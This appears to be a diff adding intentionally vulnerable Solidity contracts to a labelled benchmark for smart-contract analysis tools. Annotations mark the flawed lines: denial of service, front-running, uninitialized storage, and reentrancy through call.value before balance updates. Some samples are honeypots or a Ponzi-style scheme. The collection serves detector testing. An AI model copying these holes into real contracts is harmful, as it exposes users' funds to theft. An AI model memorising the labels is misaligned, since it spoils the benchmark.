pragma solidity ^0.4.15;
|
||||
|
||||
//Auction susceptible to DoS attack
|
||||
contract DosAuction {
|
||||
address currentFrontrunner;
|
||||
uint currentBid;
|
||||
|
||||
//Takes in bid, refunding the frontrunner if they are outbid
|
||||
function bid() payable {
|
||||
require(msg.value > currentBid);
|
||||
|
||||
//If the refund fails, the entire transaction reverts.
|
||||
//Therefore a frontrunner who always fails will win
|
||||
if (currentFrontrunner != 0) {
|
||||
//E.g. if recipients fallback function is just revert()
|
||||
// <yes> <report> DENIAL_OF_SERVICE
|
||||
require(currentFrontrunner.send(currentBid));
|
||||
}
|
||||
|
||||
currentFrontrunner = msg.sender;
|
||||
currentBid = msg.value;
|
||||
}
|
||||
}
|
||||
36
dataset/denial_of_service/dos_address.sol
Normal file
36
dataset/denial_of_service/dos_address.sol
Normal file
@@ -0,0 +1,36 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/dos_gas_limit/dos_address.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 16,17,18
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract DosGas {
|
||||
|
||||
address[] creditorAddresses;
|
||||
bool win = false;
|
||||
|
||||
function emptyCreditors() public {
|
||||
// <yes> <report> DENIAL_OF_SERVICE
|
||||
if(creditorAddresses.length>1500) {
|
||||
creditorAddresses = new address[](0);
|
||||
win = true;
|
||||
}
|
||||
}
|
||||
|
||||
function addCreditors() public returns (bool) {
|
||||
for(uint i=0;i<350;i++) {
|
||||
creditorAddresses.push(msg.sender);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function iWin() public view returns (bool) {
|
||||
return win;
|
||||
}
|
||||
|
||||
function numberCreditors() public view returns (uint) {
|
||||
return creditorAddresses.length;
|
||||
}
|
||||
}
|
||||
47
dataset/denial_of_service/dos_number.sol
Normal file
47
dataset/denial_of_service/dos_number.sol
Normal file
@@ -0,0 +1,47 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/dos_gas_limit/dos_number.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 18,19,20,21,22
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract DosNumber {
|
||||
|
||||
uint numElements = 0;
|
||||
uint[] array;
|
||||
|
||||
function insertNnumbers(uint value,uint numbers) public {
|
||||
|
||||
// Gas DOS if number > 382 more or less, it depends on actual gas limit
|
||||
// <yes> <report> DENIAL_OF_SERVICE
|
||||
for(uint i=0;i<numbers;i++) {
|
||||
if(numElements == array.length) {
|
||||
array.length += 1;
|
||||
}
|
||||
array[numElements++] = value;
|
||||
}
|
||||
}
|
||||
|
||||
function clear() public {
|
||||
require(numElements>1500);
|
||||
numElements = 0;
|
||||
}
|
||||
|
||||
// Gas DOS clear
|
||||
function clearDOS() public {
|
||||
|
||||
// number depends on actual gas limit
|
||||
require(numElements>1500);
|
||||
array = new uint[](0);
|
||||
numElements = 0;
|
||||
}
|
||||
|
||||
function getLengthArray() public view returns(uint) {
|
||||
return numElements;
|
||||
}
|
||||
|
||||
function getRealLengthArray() public view returns(uint) {
|
||||
return array.length;
|
||||
}
|
||||
}
|
||||
27
dataset/denial_of_service/dos_simple.sol
Normal file
27
dataset/denial_of_service/dos_simple.sol
Normal file
@@ -0,0 +1,27 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/dos_gas_limit/dos_simple.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 17,18
|
||||
*/
|
||||
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract DosOneFunc {
|
||||
|
||||
address[] listAddresses;
|
||||
|
||||
function ifillArray() public returns (bool){
|
||||
if(listAddresses.length<1500) {
|
||||
// <yes> <report> DENIAL_OF_SERVICE
|
||||
for(uint i=0;i<350;i++) {
|
||||
listAddresses.push(msg.sender);
|
||||
}
|
||||
return true;
|
||||
|
||||
} else {
|
||||
listAddresses = new address[](0);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
124
dataset/denial_of_service/list_dos.sol
Normal file
124
dataset/denial_of_service/list_dos.sol
Normal file
@@ -0,0 +1,124 @@
|
||||
/*
|
||||
* @source: https://etherscan.io/address/0xf45717552f12ef7cb65e95476f217ea008167ae3#code
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 46,48
|
||||
*/
|
||||
|
||||
//added pragma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract Government {
|
||||
|
||||
// Global Variables
|
||||
uint32 public lastCreditorPayedOut;
|
||||
uint public lastTimeOfNewCredit;
|
||||
uint public profitFromCrash;
|
||||
address[] public creditorAddresses;
|
||||
uint[] public creditorAmounts;
|
||||
address public corruptElite;
|
||||
mapping (address => uint) buddies;
|
||||
uint constant TWELVE_HOURS = 43200;
|
||||
uint8 public round;
|
||||
|
||||
function Government() {
|
||||
// The corrupt elite establishes a new government
|
||||
// this is the commitment of the corrupt Elite - everything that can not be saved from a crash
|
||||
profitFromCrash = msg.value;
|
||||
corruptElite = msg.sender;
|
||||
lastTimeOfNewCredit = block.timestamp;
|
||||
}
|
||||
|
||||
function lendGovernmentMoney(address buddy) returns (bool) {
|
||||
uint amount = msg.value;
|
||||
// check if the system already broke down. If for 12h no new creditor gives new credit to the system it will brake down.
|
||||
// 12h are on average = 60*60*12/12.5 = 3456
|
||||
if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp) {
|
||||
// Return money to sender
|
||||
msg.sender.send(amount);
|
||||
// Sends all contract money to the last creditor
|
||||
creditorAddresses[creditorAddresses.length - 1].send(profitFromCrash);
|
||||
corruptElite.send(this.balance);
|
||||
// Reset contract state
|
||||
lastCreditorPayedOut = 0;
|
||||
lastTimeOfNewCredit = block.timestamp;
|
||||
profitFromCrash = 0;
|
||||
// <yes> <report> DENIAL_OF_SERVICE
|
||||
creditorAddresses = new address[](0);
|
||||
// <yes> <report> DENIAL_OF_SERVICE
|
||||
creditorAmounts = new uint[](0);
|
||||
round += 1;
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
// the system needs to collect at least 1% of the profit from a crash to stay alive
|
||||
if (amount >= 10 ** 18) {
|
||||
// the System has received fresh money, it will survive at leat 12h more
|
||||
lastTimeOfNewCredit = block.timestamp;
|
||||
// register the new creditor and his amount with 10% interest rate
|
||||
creditorAddresses.push(msg.sender);
|
||||
creditorAmounts.push(amount * 110 / 100);
|
||||
// now the money is distributed
|
||||
// first the corrupt elite grabs 5% - thieves!
|
||||
corruptElite.send(amount * 5/100);
|
||||
// 5% are going into the economy (they will increase the value for the person seeing the crash comming)
|
||||
if (profitFromCrash < 10000 * 10**18) {
|
||||
profitFromCrash += amount * 5/100;
|
||||
}
|
||||
// if you have a buddy in the government (and he is in the creditor list) he can get 5% of your credits.
|
||||
// Make a deal with him.
|
||||
if(buddies[buddy] >= amount) {
|
||||
buddy.send(amount * 5/100);
|
||||
}
|
||||
buddies[msg.sender] += amount * 110 / 100;
|
||||
// 90% of the money will be used to pay out old creditors
|
||||
if (creditorAmounts[lastCreditorPayedOut] <= address(this).balance - profitFromCrash) {
|
||||
creditorAddresses[lastCreditorPayedOut].send(creditorAmounts[lastCreditorPayedOut]);
|
||||
buddies[creditorAddresses[lastCreditorPayedOut]] -= creditorAmounts[lastCreditorPayedOut];
|
||||
lastCreditorPayedOut += 1;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
else {
|
||||
msg.sender.send(amount);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fallback function
|
||||
function() {
|
||||
lendGovernmentMoney(0);
|
||||
}
|
||||
|
||||
function totalDebt() returns (uint debt) {
|
||||
for(uint i=lastCreditorPayedOut; i<creditorAmounts.length; i++){
|
||||
debt += creditorAmounts[i];
|
||||
}
|
||||
}
|
||||
|
||||
function totalPayedOut() returns (uint payout) {
|
||||
for(uint i=0; i<lastCreditorPayedOut; i++){
|
||||
payout += creditorAmounts[i];
|
||||
}
|
||||
}
|
||||
|
||||
// better don't do it (unless you are the corrupt elite and you want to establish trust in the system)
|
||||
function investInTheSystem() {
|
||||
profitFromCrash += msg.value;
|
||||
}
|
||||
|
||||
// From time to time the corrupt elite inherits it's power to the next generation
|
||||
function inheritToNextGeneration(address nextGeneration) {
|
||||
if (msg.sender == corruptElite) {
|
||||
corruptElite = nextGeneration;
|
||||
}
|
||||
}
|
||||
|
||||
function getCreditorAddresses() returns (address[]) {
|
||||
return creditorAddresses;
|
||||
}
|
||||
|
||||
function getCreditorAmounts() returns (uint[]) {
|
||||
return creditorAmounts;
|
||||
}
|
||||
}
|
||||
28
dataset/denial_of_service/send_loop.sol
Normal file
28
dataset/denial_of_service/send_loop.sol
Normal file
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* @source: https://consensys.github.io/smart-contract-best-practices/known_attacks/#dos-with-unexpected-revert
|
||||
* @author: ConsenSys Diligence
|
||||
* @vulnerable_at_lines: 24
|
||||
* Modified by Bernhard Mueller
|
||||
*/
|
||||
|
||||
pragma solidity 0.4.24;
|
||||
|
||||
contract Refunder {
|
||||
|
||||
address[] private refundAddresses;
|
||||
mapping (address => uint) public refunds;
|
||||
|
||||
constructor() {
|
||||
refundAddresses.push(0x79B483371E87d664cd39491b5F06250165e4b184);
|
||||
refundAddresses.push(0x79B483371E87d664cd39491b5F06250165e4b185);
|
||||
}
|
||||
|
||||
// bad
|
||||
function refundAll() public {
|
||||
for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated
|
||||
// <yes> <report> DENIAL_OF_SERVICE
|
||||
require(refundAddresses[x].send(refunds[refundAddresses[x]])); // doubly bad, now a single failure on send will hold up all funds
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
129
dataset/front_running/ERC20.sol
Normal file
129
dataset/front_running/ERC20.sol
Normal file
@@ -0,0 +1,129 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/transaction_order_dependence/ERC20.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 110,113
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
/** Taken from the OpenZeppelin github
|
||||
* @title SafeMath
|
||||
* @dev Math operations with safety checks that revert on error
|
||||
*/
|
||||
library SafeMath {
|
||||
|
||||
/**
|
||||
* @dev Multiplies two numbers, reverts on overflow.
|
||||
*/
|
||||
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
||||
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
|
||||
// benefit is lost if 'b' is also tested.
|
||||
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
|
||||
if (a == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint256 c = a * b;
|
||||
require(c / a == b);
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
|
||||
*/
|
||||
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
||||
require(b > 0); // Solidity only automatically asserts when dividing by 0
|
||||
uint256 c = a / b;
|
||||
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
|
||||
*/
|
||||
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
||||
require(b <= a);
|
||||
uint256 c = a - b;
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Adds two numbers, reverts on overflow.
|
||||
*/
|
||||
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
||||
uint256 c = a + b;
|
||||
require(c >= a);
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
|
||||
* reverts when dividing by zero.
|
||||
*/
|
||||
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
|
||||
require(b != 0);
|
||||
return a % b;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
contract ERC20 {
|
||||
|
||||
event Transfer( address indexed from, address indexed to, uint256 value );
|
||||
event Approval( address indexed owner, address indexed spender, uint256 value);
|
||||
using SafeMath for *;
|
||||
|
||||
mapping (address => uint256) private _balances;
|
||||
|
||||
mapping (address => mapping (address => uint256)) private _allowed;
|
||||
|
||||
uint256 private _totalSupply;
|
||||
|
||||
constructor(uint totalSupply){
|
||||
_balances[msg.sender] = totalSupply;
|
||||
}
|
||||
|
||||
function balanceOf(address owner) public view returns (uint256) {
|
||||
return _balances[owner];
|
||||
}
|
||||
|
||||
|
||||
function allowance(address owner, address spender) public view returns (uint256)
|
||||
{
|
||||
return _allowed[owner][spender];
|
||||
}
|
||||
|
||||
function transfer(address to, uint256 value) public returns (bool) {
|
||||
require(value <= _balances[msg.sender]);
|
||||
require(to != address(0));
|
||||
|
||||
_balances[msg.sender] = _balances[msg.sender].sub(value);
|
||||
_balances[to] = _balances[to].add(value);
|
||||
emit Transfer(msg.sender, to, value);
|
||||
return true;
|
||||
}
|
||||
// <yes> <report> FRONT_RUNNING
|
||||
function approve(address spender, uint256 value) public returns (bool) {
|
||||
require(spender != address(0));
|
||||
// <yes> <report> FRONT_RUNNING
|
||||
_allowed[msg.sender][spender] = value;
|
||||
emit Approval(msg.sender, spender, value);
|
||||
return true;
|
||||
}
|
||||
|
||||
function transferFrom(address from, address to, uint256 value) public returns (bool) {
|
||||
require(value <= _balances[from]);
|
||||
require(value <= _allowed[from][msg.sender]);
|
||||
require(to != address(0));
|
||||
|
||||
_balances[from] = _balances[from].sub(value);
|
||||
_balances[to] = _balances[to].add(value);
|
||||
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
|
||||
emit Transfer(from, to, value);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
20
dataset/front_running/FindThisHash.sol
Normal file
20
dataset/front_running/FindThisHash.sol
Normal file
@@ -0,0 +1,20 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 17
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.22;
|
||||
|
||||
contract FindThisHash {
|
||||
bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;
|
||||
|
||||
constructor() public payable {} // load with ether
|
||||
|
||||
function solve(string solution) public {
|
||||
// If you can find the pre image of the hash, receive 1000 ether
|
||||
// <yes> <report> FRONT_RUNNING
|
||||
require(hash == sha3(solution));
|
||||
msg.sender.transfer(1000 ether);
|
||||
}
|
||||
}
|
||||
14
dataset/front_running/README.md
Executable file
14
dataset/front_running/README.md
Executable file
@@ -0,0 +1,14 @@
|
||||
# Front Running
|
||||
Also known as time-of-check vs time-of-use (TOCTOU), race condition, transaction ordering dependence (TOD).
|
||||
|
||||
Since miners always get rewarded via gas fees for running code on behalf of externally owned addresses (EOA), users can specify higher fees to have their transactions mined more quickly. Since the Ethereum blockchain is public, everyone can see the contents of others' pending transactions. This means if a given user is revealing the solution to a puzzle or other valuable secret, a malicious user can steal the solution and copy their transaction with higher fees to preempt the original solution. If developers of smart contracts are not careful, this situation can lead to practical and devastating front-running attacks.
|
||||
|
||||
## Attack Scenario
|
||||
A smart contract publishes an RSA number (N = prime1 x prime2).
|
||||
A call to its submitSolution() public function with the right prime1 and prime2 rewards the caller.
|
||||
Alice successfuly factors the RSA number and submits a solution.
|
||||
Someone on the network sees Alice's transaction (containing the solution) waiting to be mined and submits it with a higher gas price.
|
||||
The second transaction gets picked up first by miners due to the higher paid fee. The attacker wins the prize.
|
||||
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
34
dataset/front_running/eth_tx_order_dependence_minimal.sol
Normal file
34
dataset/front_running/eth_tx_order_dependence_minimal.sol
Normal file
@@ -0,0 +1,34 @@
|
||||
/*
|
||||
* @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 23,31
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.16;
|
||||
|
||||
contract EthTxOrderDependenceMinimal {
|
||||
address public owner;
|
||||
bool public claimed;
|
||||
uint public reward;
|
||||
|
||||
function EthTxOrderDependenceMinimal() public {
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
function setReward() public payable {
|
||||
require (!claimed);
|
||||
|
||||
require(msg.sender == owner);
|
||||
// <yes> <report> FRONT_RUNNING
|
||||
owner.transfer(reward);
|
||||
reward = msg.value;
|
||||
}
|
||||
|
||||
function claimReward(uint256 submission) {
|
||||
require (!claimed);
|
||||
require(submission < 10);
|
||||
// <yes> <report> FRONT_RUNNING
|
||||
msg.sender.transfer(reward);
|
||||
claimed = true;
|
||||
}
|
||||
}
|
||||
53
dataset/front_running/odds_and_evens.sol
Normal file
53
dataset/front_running/odds_and_evens.sol
Normal file
@@ -0,0 +1,53 @@
|
||||
/*
|
||||
* @source: http://blockchain.unica.it/projects/ethereum-survey/attacks.html#oddsandevens
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 25,28
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.2;
|
||||
|
||||
contract OddsAndEvens{
|
||||
|
||||
struct Player {
|
||||
address addr;
|
||||
uint number;
|
||||
}
|
||||
|
||||
Player[2] public players; //public only for debug purpose
|
||||
|
||||
uint8 tot;
|
||||
address owner;
|
||||
|
||||
function OddsAndEvens() {
|
||||
owner = msg.sender;
|
||||
}
|
||||
// <yes> <report> FRONT_RUNNING
|
||||
function play(uint number) payable{
|
||||
if (msg.value != 1 ether) throw;
|
||||
// <yes> <report> FRONT_RUNNING
|
||||
players[tot] = Player(msg.sender, number);
|
||||
tot++;
|
||||
|
||||
if (tot==2) andTheWinnerIs();
|
||||
}
|
||||
|
||||
function andTheWinnerIs() private {
|
||||
bool res ;
|
||||
uint n = players[0].number+players[1].number;
|
||||
if (n%2==0) {
|
||||
res = players[0].addr.send(1800 finney);
|
||||
}
|
||||
else {
|
||||
res = players[1].addr.send(1800 finney);
|
||||
}
|
||||
|
||||
delete players;
|
||||
tot=0;
|
||||
}
|
||||
|
||||
function getProfit() {
|
||||
if(msg.sender!=owner) throw;
|
||||
bool res = msg.sender.send(this.balance);
|
||||
}
|
||||
|
||||
}
|
||||
61
dataset/other/crypto_roulette.sol
Normal file
61
dataset/other/crypto_roulette.sol
Normal file
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* @source: https://github.com/thec00n/smart-contract-honeypots/blob/master/CryptoRoulette.sol
|
||||
* @vulnerable_at_lines: 40,41,42
|
||||
*/
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
// CryptoRoulette
|
||||
//
|
||||
// Guess the number secretly stored in the blockchain and win the whole contract balance!
|
||||
// A new number is randomly chosen after each try.
|
||||
// https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/
|
||||
// To play, call the play() method with the guessed number (1-20). Bet price: 0.1 ether
|
||||
|
||||
contract CryptoRoulette {
|
||||
|
||||
uint256 private secretNumber;
|
||||
uint256 public lastPlayed;
|
||||
uint256 public betPrice = 0.1 ether;
|
||||
address public ownerAddr;
|
||||
|
||||
struct Game {
|
||||
address player;
|
||||
uint256 number;
|
||||
}
|
||||
Game[] public gamesPlayed;
|
||||
|
||||
function CryptoRoulette() public {
|
||||
ownerAddr = msg.sender;
|
||||
shuffle();
|
||||
}
|
||||
|
||||
function shuffle() internal {
|
||||
// randomly set secretNumber with a value between 1 and 20
|
||||
secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
|
||||
}
|
||||
|
||||
function play(uint256 number) payable public {
|
||||
require(msg.value >= betPrice && number <= 10);
|
||||
// <yes> <report> OTHER - uninitialized storage
|
||||
Game game; //Uninitialized storage pointer
|
||||
game.player = msg.sender;
|
||||
game.number = number;
|
||||
gamesPlayed.push(game);
|
||||
|
||||
if (number == secretNumber) {
|
||||
// win!
|
||||
msg.sender.transfer(this.balance);
|
||||
}
|
||||
|
||||
shuffle();
|
||||
lastPlayed = now;
|
||||
}
|
||||
|
||||
function kill() public {
|
||||
if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
|
||||
suicide(msg.sender);
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable { }
|
||||
}
|
||||
32
dataset/other/name_registrar.sol
Normal file
32
dataset/other/name_registrar.sol
Normal file
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog#storage-example
|
||||
* @vulnerable_at_lines: 21
|
||||
*/
|
||||
// A Locked Name Registrar
|
||||
|
||||
pragma solidity ^0.4.15;
|
||||
contract NameRegistrar {
|
||||
|
||||
bool public unlocked = false; // registrar locked, no name updates
|
||||
|
||||
struct NameRecord { // map hashes to addresses
|
||||
bytes32 name;
|
||||
address mappedAddress;
|
||||
}
|
||||
|
||||
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
|
||||
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
|
||||
|
||||
function register(bytes32 _name, address _mappedAddress) public {
|
||||
// set up the new NameRecord
|
||||
// <yes> <report> OTHER - uninitialized storage
|
||||
NameRecord newRecord;
|
||||
newRecord.name = _name;
|
||||
newRecord.mappedAddress = _mappedAddress;
|
||||
|
||||
resolve[_name] = _mappedAddress;
|
||||
registeredNameRecord[msg.sender] = newRecord;
|
||||
|
||||
require(unlocked); // only allow registrations if contract is unlocked
|
||||
}
|
||||
}
|
||||
105
dataset/other/open_address_lottery.sol
Normal file
105
dataset/other/open_address_lottery.sol
Normal file
@@ -0,0 +1,105 @@
|
||||
/*
|
||||
* @source: https://etherscan.io/address/0x741f1923974464efd0aa70e77800ba5d9ed18902#code
|
||||
* @vulnerable_at_lines: 91
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
/*
|
||||
* This is a distributed lottery that chooses random addresses as lucky addresses. If these
|
||||
* participate, they get the jackpot: 7 times the price of their bet.
|
||||
* Of course one address can only win once. The owner regularly reseeds the secret
|
||||
* seed of the contract (based on which the lucky addresses are chosen), so if you did not win,
|
||||
* just wait for a reseed and try again!
|
||||
*
|
||||
* Jackpot chance: 1 in 8
|
||||
* Ticket price: Anything larger than (or equal to) 0.1 ETH
|
||||
* Jackpot size: 7 times the ticket price
|
||||
*
|
||||
* HOW TO PARTICIPATE: Just send any amount greater than (or equal to) 0.1 ETH to the contract's address
|
||||
* Keep in mind that your address can only win once
|
||||
*
|
||||
* If the contract doesn't have enough ETH to pay the jackpot, it sends the whole balance.
|
||||
|
||||
https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/
|
||||
*/
|
||||
|
||||
contract OpenAddressLottery{
|
||||
struct SeedComponents{
|
||||
uint component1;
|
||||
uint component2;
|
||||
uint component3;
|
||||
uint component4;
|
||||
}
|
||||
|
||||
address owner; //address of the owner
|
||||
uint private secretSeed; //seed used to calculate number of an address
|
||||
uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
|
||||
uint LuckyNumber = 7; //if the number of an address equals 7, it wins
|
||||
|
||||
mapping (address => bool) winner; //keeping track of addresses that have already won
|
||||
|
||||
function OpenAddressLottery() {
|
||||
owner = msg.sender;
|
||||
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed
|
||||
}
|
||||
|
||||
function participate() payable {
|
||||
if(msg.value<0.1 ether)
|
||||
return; //verify ticket price
|
||||
|
||||
// make sure he hasn't won already
|
||||
require(winner[msg.sender] == false);
|
||||
|
||||
if(luckyNumberOfAddress(msg.sender) == LuckyNumber){ //check if it equals 7
|
||||
winner[msg.sender] = true; // every address can only win once
|
||||
|
||||
uint win=msg.value*7; //win = 7 times the ticket price
|
||||
|
||||
if(win>this.balance) //if the balance isnt sufficient...
|
||||
win=this.balance; //...send everything we've got
|
||||
msg.sender.transfer(win);
|
||||
}
|
||||
|
||||
if(block.number-lastReseed>1000) //reseed if needed
|
||||
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed
|
||||
}
|
||||
|
||||
function luckyNumberOfAddress(address addr) constant returns(uint n){
|
||||
// calculate the number of current address - 1 in 8 chance
|
||||
n = uint(keccak256(uint(addr), secretSeed)[0]) % 8;
|
||||
}
|
||||
|
||||
function reseed(SeedComponents components) internal {
|
||||
secretSeed = uint256(keccak256(
|
||||
components.component1,
|
||||
components.component2,
|
||||
components.component3,
|
||||
components.component4
|
||||
)); //hash the incoming parameters and use the hash to (re)initialize the seed
|
||||
lastReseed = block.number;
|
||||
}
|
||||
|
||||
function kill() {
|
||||
require(msg.sender==owner);
|
||||
|
||||
selfdestruct(msg.sender);
|
||||
}
|
||||
|
||||
function forceReseed() { //reseed initiated by the owner - for testing purposes
|
||||
require(msg.sender==owner);
|
||||
// <yes> <report> OTHER - uninitialized storage
|
||||
SeedComponents s;
|
||||
s.component1 = uint(msg.sender);
|
||||
s.component2 = uint256(block.blockhash(block.number - 1));
|
||||
s.component3 = block.difficulty*(uint)(block.coinbase);
|
||||
s.component4 = tx.gasprice * 7;
|
||||
|
||||
reseed(s); //reseed
|
||||
}
|
||||
|
||||
function () payable { //if someone sends money without any function call, just assume he wanted to participate
|
||||
if(msg.value>=0.1 ether && msg.sender!=owner) //owner can't participate, he can only fund the jackpot
|
||||
participate();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 54
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract PERSONAL_BANK
|
||||
{
|
||||
mapping (address=>uint256) public balances;
|
||||
|
||||
uint public MinSum = 1 ether;
|
||||
|
||||
LogFile Log = LogFile(0x0486cF65A2F2F3A392CBEa398AFB7F5f0B72FF46);
|
||||
|
||||
bool intitalized;
|
||||
|
||||
function SetMinSum(uint _val)
|
||||
public
|
||||
{
|
||||
if(intitalized)revert();
|
||||
MinSum = _val;
|
||||
}
|
||||
|
||||
function SetLogFile(address _log)
|
||||
public
|
||||
{
|
||||
if(intitalized)revert();
|
||||
Log = LogFile(_log);
|
||||
}
|
||||
|
||||
function Initialized()
|
||||
public
|
||||
{
|
||||
intitalized = true;
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
balances[msg.sender]+= msg.value;
|
||||
Log.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
Log.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Deposit();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
contract LogFile
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 38
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract PrivateBank
|
||||
{
|
||||
mapping (address => uint) public balances;
|
||||
|
||||
uint public MinDeposit = 1 ether;
|
||||
|
||||
Log TransferLog;
|
||||
|
||||
function PrivateBank(address _log)
|
||||
{
|
||||
TransferLog = Log(_log);
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value >= MinDeposit)
|
||||
{
|
||||
balances[msg.sender]+=msg.value;
|
||||
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
|
||||
}
|
||||
}
|
||||
|
||||
function CashOut(uint _am)
|
||||
{
|
||||
if(_am<=balances[msg.sender])
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
TransferLog.AddMessage(msg.sender,_am,"CashOut");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable{}
|
||||
|
||||
}
|
||||
|
||||
contract Log
|
||||
{
|
||||
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
